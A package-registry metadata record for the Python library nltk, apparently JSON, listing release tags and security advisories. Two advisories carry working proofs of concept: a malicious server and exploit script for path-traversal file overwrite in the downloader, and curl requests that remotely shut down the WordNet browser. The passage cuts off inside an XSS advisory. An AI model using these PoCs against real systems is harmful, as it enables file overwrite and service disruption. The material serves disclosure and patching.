825196f3eaa86a","kind":"tag","published_at":"2019-08-20T10:26:39.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.4.4","html_url":"https://github.com/nltk/nltk/releases/tag/3.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.4.4/manifests"},{"name":"3.4.3","sha":"1f64bc76719105f9f55997bd529c7bb9ef01e2ee","kind":"tag","published_at":"2019-06-06T17:49:32.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.4.3","html_url":"https://github.com/nltk/nltk/releases/tag/3.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.4.3/manifests"},{"name":"3.4.1","sha":"8db6a82b2fb1ed9440eff1afeabd77584de4e455","kind":"tag","published_at":"2019-04-17T10:44:33.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.4.1","html_url":"https://github.com/nltk/nltk/releases/tag/3.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.4.1/manifests"},{"name":"3.4","sha":"ad41250f12f9374b2e0c42255cc07106e927e167","kind":"tag","published_at":"2018-11-17T07:54:24.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.4","html_url":"https://github.com/nltk/nltk/releases/tag/3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.4/manifests"},{"name":"3.3","sha":"15ef9a84757410aafb0d83549ef19fccd30bd695","kind":"tag","published_at":"2018-05-06T01:55:39.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.3","html_url":"https://github.com/nltk/nltk/releases/tag/3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.3/manifests"},{"name":"3.2.5","sha":"9b6beb8bd0e1530754fa52d360688bac5d1c9cb3","kind":"tag","published_at":"2017-09-24T11:09:56.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.2.5","html_url":"https://github.com/nltk/nltk/releases/tag/3.2.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.2.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.2.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.2.5/manifests"},{"name":"3.2.4","sha":"b75f31543e6db0db36315f3d20a42522678b8c34","kind":"tag","published_at":"2017-05-20T22:46:21.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.2.4","html_url":"https://github.com/nltk/nltk/releases/tag/3.2.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.2.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.2.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.2.4/manifests"},{"name":"3.2.3","sha":"2e427d5514d4152666b90c53da6cc2180d62b92d","kind":"tag","published_at":"2017-05-17T20:46:43.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.2.3","html_url":"https://github.com/nltk/nltk/releases/tag/3.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.2.3/manifests"},{"name":"3.2.2","sha":"83bfa5bac3f3814ff90d29b8d89da0fd64c99651","kind":"tag","published_at":"2016-12-31T21:36:41.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.2.2","html_url":"https://github.com/nltk/nltk/releases/tag/3.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.2.2/manifests"},{"name":"3.2.1","sha":"1ab735d46741636e62b67b792c4be06573556bef","kind":"tag","published_at":"2016-04-09T09:58:22.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.2.1","html_url":"https://github.com/nltk/nltk/releases/tag/3.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.2.1/manifests"},{"name":"3.2","sha":"2c6cb73d3da69838a2a0e969db2431a867cc92c8","kind":"tag","published_at":"2016-03-02T23:57:39.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.2","html_url":"https://github.com/nltk/nltk/releases/tag/3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.2/manifests"},{"name":"3.1","sha":"7c04988a31302aa0ae37d2444f7533c633fcc396","kind":"tag","published_at":"2015-10-15T19:49:04.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.1","html_url":"https://github.com/nltk/nltk/releases/tag/3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.1/manifests"},{"name":"3.0.5","sha":"fdcf99985d8e17064057ff5452b9ea3e2d50a5ae","kind":"tag","published_at":"2015-09-06T02:41:15.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.0.5","html_url":"https://github.com/nltk/nltk/releases/tag/3.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.0.5/manifests"},{"name":"3.0.4","sha":"6f5459f9f5cc6e8a30376b1bddf1083ff1b66d99","kind":"tag","published_at":"2015-07-13T01:37:18.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.0.4","html_url":"https://github.com/nltk/nltk/releases/tag/3.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.0.4/manifests"},{"name":"3.0.3","sha":"ae4049842ffc8a8bb67bc7c21a93a6c521b907d5","kind":"tag","published_at":"2015-06-11T10:56:34.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.0.3","html_url":"https://github.com/nltk/nltk/releases/tag/3.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.0.3/manifests"},{"name":"3.0.2","sha":"d24d94faac44e2e14f9de1cfcbdeb52be500b72e","kind":"tag","published_at":"2015-03-13T03:44:56.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.0.2","html_url":"https://github.com/nltk/nltk/releases/tag/3.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.0.2/manifests"},{"name":"3.0.1","sha":"efe85968bb23e3afdcd331293f2c2588b1590091","kind":"tag","published_at":"2015-03-11T00:04:05.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.0.1","html_url":"https://github.com/nltk/nltk/releases/tag/3.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.0.1/manifests"},{"name":"3.0.0","sha":"82e137d26bb4b737d1fe7cfc8a2387589483d26e","kind":"tag","published_at":"2014-09-07T12:04:01.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.0.0","html_url":"https://github.com/nltk/nltk/releases/tag/3.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.0.0/manifests"},{"name":"3.0.0b2","sha":"48c40a00ad34344d79a5114912b69e56c8b1aa63","kind":"tag","published_at":"2014-08-21T14:46:32.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.0.0b2","html_url":"https://github.com/nltk/nltk/releases/tag/3.0.0b2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.0.0b2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.0.0b2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.0.0b2/manifests"},{"name":"3.0.0b1","sha":"13a3120698724177bdf8e2b539accbed11179d18","kind":"commit","published_at":"2014-07-11T13:14:16.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.0.0b1","html_url":"https://github.com/nltk/nltk/releases/tag/3.0.0b1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.0.0b1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.0.0b1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.0.0b1/manifests"},{"name":"3.0a4","sha":"045e4810ea4f154db2e0ce4f9c62f819d9a137a4","kind":"tag","published_at":"2014-05-24T21:12:18.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.0a4","html_url":"https://github.com/nltk/nltk/releases/tag/3.0a4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.0a4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.0a4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.0a4/manifests"},{"name":"3.0a1","sha":"3ff37647eeb2327d943a8cc15acc30adfa1e806f","kind":"tag","published_at":"2013-02-13T11:45:49.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.0a1","html_url":"https://github.com/nltk/nltk/releases/tag/3.0a1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.0a1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.0a1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.0a1/manifests"},{"name":"2.0.4","sha":"18c842fca78b77e2cdaced944903c793437a1034","kind":"tag","published_at":"2012-11-07T12:06:51.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/2.0.4","html_url":"https://github.com/nltk/nltk/releases/tag/2.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@2.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/2.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/2.0.4/manifests"},{"name":"2.0.3","sha":"bbee3018e9ade285817ffd09c8068571d4be55bf","kind":"tag","published_at":"2012-11-07T11:33:01.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/2.0.3","html_url":"https://github.com/nltk/nltk/releases/tag/2.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@2.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/2.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/2.0.3/manifests"},{"name":"2.0.1rc3","sha":"b0132e63e87a95fd56a53e9ddcb48b85b42b36da","kind":"tag","published_at":"2012-04-09T11:15:46.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/2.0.1rc3","html_url":"https://github.com/nltk/nltk/releases/tag/2.0.1rc3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@2.0.1rc3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/2.0.1rc3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/2.0.1rc3/manifests"},{"name":"2.0.1rc4","sha":"65f2cc4fac925590dee4a3fbf7fc3d02b49cd105","kind":"tag","published_at":"2012-04-09T11:12:23.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/2.0.1rc4","html_url":"https://github.com/nltk/nltk/releases/tag/2.0.1rc4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@2.0.1rc4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/2.0.1rc4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/2.0.1rc4/manifests"},{"name":"2.0.1rc2","sha":"6a1b72429ff2ad9d8e592e7c8775cc27046c198a","kind":"tag","published_at":"2011-12-01T10:11:11.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/2.0.1rc2","html_url":"https://github.com/nltk/nltk/releases/tag/2.0.1rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@2.0.1rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/2.0.1rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/2.0.1rc2/manifests"},{"name":"2.0.1rc1","sha":"4b802fc7a1093aa6f412fa39525ac90acda127f0","kind":"commit","published_at":"2011-04-11T04:32:39.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/2.0.1rc1","html_url":"https://github.com/nltk/nltk/releases/tag/2.0.1rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@2.0.1rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/2.0.1rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/2.0.1rc1/manifests"}]},"repo_metadata_updated_at":"2026-06-12T04:12:45.474Z","dependent_packages_count":1440,"downloads":64151773,"downloads_period":"last-month","dependent_repos_count":57572,"rankings":{"downloads":0.07079879752094159,"dependent_repos_count":0.02439440432716381,"dependent_packages_count":0.020909489423283266,"stargazers_count":0.4055340448673623,"forks_count":0.3941622172862784,"docker_downloads_count":0.27585852712822834,"average":0.19860958009220964},"purl":"pkg:pypi/nltk","advisories":[{"uuid":"GSA_kwCzR0hTQS00NjlqLXZtaGYtcjZ2N84ABT2m","url":"https://github.com/advisories/GHSA-469j-vmhf-r6v7","title":"NLTK has a Downloader Path Traversal Vulnerability (AFO) - Arbitrary File Overwrite","description":"## Vulnerability Description\n\nThe NLTK downloader does not validate the `subdir` and `id` attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as `../`), which can lead to:\n\n1. **Arbitrary Directory Creation**: Create directories at arbitrary locations in the file system\n2. **Arbitrary File Creation**: Create arbitrary files\n3. **Arbitrary File Overwrite**: Overwrite critical system files (such as `/etc/passwd`, `~/.ssh/authorized_keys`, etc.)\n\n## Vulnerability Principle\n\n### Key Code Locations\n\n**1. XML Parsing Without Validation** (`nltk/downloader.py:253`)\n```python\nself.filename = os.path.join(subdir, id + ext)\n```\n- `subdir` and `id` are directly from XML attributes without any validation\n\n**2. Path Construction Without Checks** (`nltk/downloader.py:679`)\n```python\nfilepath = os.path.join(download_dir, info.filename)\n```\n- Directly uses `filename` which may contain path traversal\n\n**3. Unrestricted Directory Creation** (`nltk/downloader.py:687`)\n```python\nos.makedirs(os.path.join(download_dir, info.subdir), exist_ok=True)\n```\n- Can create arbitrary directories outside the download directory\n\n**4. File Writing Without Protection** (`nltk/downloader.py:695`)\n```python\nwith open(filepath, \"wb\") as outfile:\n```\n- Can write to arbitrary locations in the file system\n\n### Attack Chain\n\n```\n1. Attacker controls remote XML index server\n   ↓\n2. Provides malicious XML: \u003cpackage id=\"passwd\" subdir=\"../../etc\" .../\u003e\n   ↓\n3. Victim executes: downloader.download('passwd')\n   ↓\n4. Package.fromxml() creates object, filename = \"../../etc/passwd.zip\"\n   ↓\n5. _download_package() constructs path: download_dir + \"../../etc/passwd.zip\"\n   ↓\n6. os.makedirs() creates directory: download_dir + \"../../etc\"\n   ↓\n7. open(filepath, \"wb\") writes file to /etc/passwd.zip\n   ↓\n8. System file is overwritten!\n```\n\n## Impact Scope\n1. **System File Overwrite**\n\n## Reproduction Steps\n\n### Environment Setup\n\n1. Install NLTK\n```bash\npip install nltk\n```\n\n2. Prepare malicious server and exploit script (see PoC section)\n\n### Reproduction Process\n\n**Step 1: Start malicious server**\n```bash\npython3 malicious_server.py\n```\n\n**Step 2: Run exploit script**\n```bash\npython3 exploit_vulnerability.py\n```\n\n**Step 3: Verify results**\n```bash\nls -la /tmp/test_file.zip\n```\n\n## Proof of Concept\n\n### Malicious Server (malicious_server.py)\n\n```python\n#!/usr/bin/env python3\n\"\"\"Malicious HTTP Server - Provides XML index with path traversal\"\"\"\nimport os\nimport tempfile\nimport zipfile\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\n\n# Create temporary directory\nserver_dir = tempfile.mkdtemp(prefix=\"nltk_malicious_\")\n\n# Create malicious XML (contains path traversal)\nmalicious_xml = \"\"\"\u003c?xml version=\"1.0\"?\u003e\n\u003cnltk_data\u003e\n  \u003cpackages\u003e\n    \u003cpackage id=\"test_file\" subdir=\"../../../../../../../../../tmp\" \n             url=\"http://127.0.0.1:8888/test.zip\" \n             size=\"100\" unzipped_size=\"100\" unzip=\"0\"/\u003e\n  \u003c/packages\u003e\n\u003c/nltk_data\u003e\n\"\"\"\n\n# Save files\nwith open(os.path.join(server_dir, \"malicious_index.xml\"), \"w\") as f:\n    f.write(malicious_xml)\n\nwith zipfile.ZipFile(os.path.join(server_dir, \"test.zip\"), \"w\") as zf:\n    zf.writestr(\"test.txt\", \"Path traversal attack!\")\n\n# HTTP Handler\nclass Handler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        if self.path == '/malicious_index.xml':\n            self.send_response(200)\n            self.send_header('Content-type', 'application/xml')\n            self.end_headers()\n            with open(os.path.join(server_dir, 'malicious_index.xml'), 'rb') as f:\n                self.wfile.write(f.read())\n        elif self.path == '/test.zip':\n            self.send_response(200)\n            self.send_header('Content-type', 'application/zip')\n            self.end_headers()\n            with open(os.path.join(server_dir, 'test.zip'), 'rb') as f:\n                self.wfile.write(f.read())\n        else:\n            self.send_response(404)\n            self.end_headers()\n    \n    def log_message(self, format, *args):\n        pass\n\n# Start server\nif __name__ == \"__main__\":\n    port = 8888\n    server = HTTPServer((\"0.0.0.0\", port), Handler)\n    print(f\"Malicious server started: http://127.0.0.1:{port}/malicious_index.xml\")\n    print(\"Press Ctrl+C to stop\")\n    try:\n        server.serve_forever()\n    except KeyboardInterrupt:\n        print(\"\\nServer stopped\")\n```\n\n### Exploit Script (exploit_vulnerability.py)\n\n```python\n#!/usr/bin/env python3\n\"\"\"AFO Vulnerability Exploit Script\"\"\"\nimport os\nimport tempfile\n\ndef exploit(server_url=\"http://127.0.0.1:8888/malicious_index.xml\"):\n    download_dir = tempfile.mkdtemp(prefix=\"nltk_exploit_\")\n    print(f\"Download directory: {download_dir}\")\n    \n    # Exploit vulnerability\n    from nltk.downloader import Downloader\n    downloader = Downloader(server_index_url=server_url, download_dir=download_dir)\n    downloader.download(\"test_file\", quiet=True)\n    \n    # Check results\n    expected_path = \"/tmp/test_file.zip\"\n    if os.path.exists(expected_path):\n        print(f\"\\n✗ Exploit successful! File written to: {expected_path}\")\n        print(f\"✗ Path traversal attack successful!\")\n    else:\n        print(f\"\\n? File not found, download may have failed\")\n\nif __name__ == \"__main__\":\n    exploit()\n```\n\n### Execution Results\n\n```\n✗ Exploit successful! File written to: /tmp/test_file.zip\n✗ Path traversal attack successful!\n```","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-03-19T12:42:42.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H","references":["https://github.com/nltk/nltk/security/advisories/GHSA-469j-vmhf-r6v7","https://nvd.nist.gov/vuln/detail/CVE-2026-33236","https://github.com/nltk/nltk/commit/89fe2ec2c6bae6e2e7a46dad65cc34231976ed8a","https://github.com/advisories/GHSA-469j-vmhf-r6v7"],"source_kind":"github","identifiers":["GHSA-469j-vmhf-r6v7","CVE-2026-33236"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-19T13:00:11.279Z","updated_at":"2026-06-12T07:01:38.257Z","epss_percentage":0.00022,"epss_percentile":0.06518,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00NjlqLXZtaGYtcjZ2N84ABT2m","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00NjlqLXZtaGYtcjZ2N84ABT2m","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.9.2"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00NjlqLXZtaGYtcjZ2N84ABT2m/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1qbTZ3LW0zajgtODk4Z84ABT2l","url":"https://github.com/advisories/GHSA-jm6w-m3j8-898g","title":"Unauthenticated remote shutdown in nltk.app.wordnet_app","description":"### Summary\n`nltk.app.wordnet_app` allows unauthenticated remote shutdown of the local WordNet Browser HTTP server when it is started in its default mode. A simple `GET /SHUTDOWN%20THE%20SERVER` request causes the process to terminate immediately via `os._exit(0)`, resulting in a denial of service.\n\n### Details\nThe vulnerable logic is in `nltk/app/wordnet_app.py`:\n\n- [`nltk/app/wordnet_app.py:242`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L242)\n  - The server listens on all interfaces:\n  - `server = HTTPServer((\"\", port), MyServerHandler)`\n\n- [`nltk/app/wordnet_app.py:87`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L87)\n  - Incoming requests are checked for the exact path:\n  - `if unquote_plus(sp) == \"SHUTDOWN THE SERVER\":`\n\n- [`nltk/app/wordnet_app.py:88`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L88)\n  - The shutdown protection only depends on `server_mode`\n\n- [`nltk/app/wordnet_app.py:93`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L93)\n  - In the default mode (`runBrowser=True`, therefore `server_mode=False`), the handler terminates the process directly:\n  - `os._exit(0)`\n\nThis means any party that can reach the listening port can stop the service with a single unauthenticated GET request when the browser is started in its normal mode.\n\n### PoC\n1. Start the WordNet Browser in Docker in its default mode:\n\n```bash\ndocker run -d --name nltk-wordnet-web-default-retest -p 8004:8004 \\\n  nltk-sandbox \\\n  python -c \"import nltk; nltk.download('wordnet', quiet=True); from nltk.app.wordnet_app import wnb; wnb(8004, True)\"\n```\n\n2. Confirm the service is reachable:\n\n```bash\ncurl -s -o /tmp/wn_before.html -w '%{http_code}\\n' 'http://127.0.0.1:8004/'\n```\n\nObserved result:\n\n```text\n200\n```\n\n3. Trigger shutdown:\n\n```bash\ncurl -s -o /tmp/wn_shutdown.html -w '%{http_code}\\n' 'http://127.0.0.1:8004/SHUTDOWN%20THE%20SERVER'\n```\n\nObserved result:\n\n```text\n000\n```\n\n4. Verify the service is no longer available:\n\n```bash\ncurl -s -o /tmp/wn_after.html -w '%{http_code}\\n' 'http://127.0.0.1:8004/'\ndocker ps -a --filter name=nltk-wordnet-web-default-retest --format '{{.Names}}\\t{{.Status}}'\ndocker logs nltk-wordnet-web-default-retest\n```\n\nObserved results:\n\n```text\n000\nnltk-wordnet-web-default-retest    Exited (0)\nServer shutting down!\n```\n\n### Impact\nThis is an unauthenticated denial-of-service issue in the NLTK WordNet Browser HTTP server.\n\nAny reachable client can terminate the service remotely when the application is started in its default mode. The impact is limited to service availability, but it is still security-relevant because:\n\n- the route is accessible over HTTP\n- no authentication or CSRF-style confirmation is required\n- the server listens on all interfaces by default\n- the process exits immediately instead of performing a controlled shutdown\n\nThis primarily affects users who run `nltk.app.wordnet_app` and expose or otherwise allow access to its listening port.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-03-19T12:42:20.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/nltk/nltk/security/advisories/GHSA-jm6w-m3j8-898g","https://nvd.nist.gov/vuln/detail/CVE-2026-33231","https://github.com/nltk/nltk/commit/bbaae83db86a0f49e00f5b0db44a7254c268de9b","https://github.com/advisories/GHSA-jm6w-m3j8-898g"],"source_kind":"github","identifiers":["GHSA-jm6w-m3j8-898g","CVE-2026-33231"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-19T13:00:11.279Z","updated_at":"2026-05-28T19:01:09.192Z","epss_percentage":0.0002,"epss_percentile":0.05817,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qbTZ3LW0zajgtODk4Z84ABT2l","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qbTZ3LW0zajgtODk4Z84ABT2l","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.9.4","vulnerable_version_range":"\u003c= 3.9.3"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qbTZ3LW0zajgtODk4Z84ABT2l/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1nZnd4LXc3Z3ItZnZoN84ABT1a","url":"https://github.com/advisories/GHSA-gfwx-w7gr-fvh7","title":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in nltk","description":"### Summary\n`nltk.app.wordnet_app` contains a reflected cross-site scripting issue in the `lookup_...` route. A crafted `lookup_\u003cpayload\u003e` URL can inject arbitrary HTML/JavaScript into the response page because attacker-controlled `word` data is reflected into HTML without escaping. This impacts users running the local WordNet Browser server and can lead to script execution in the browser origin of that application.\n\n### Details\nThe vulnerable flow is in `nltk/app/wordnet_app.py`:\n\n- [`nltk/app/wordnet_app.py:144`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L144)\n  - Requests starting with `lookup_` are handled as HTML responses:\n  - `page, word = page_from_href(sp)`\n\n- 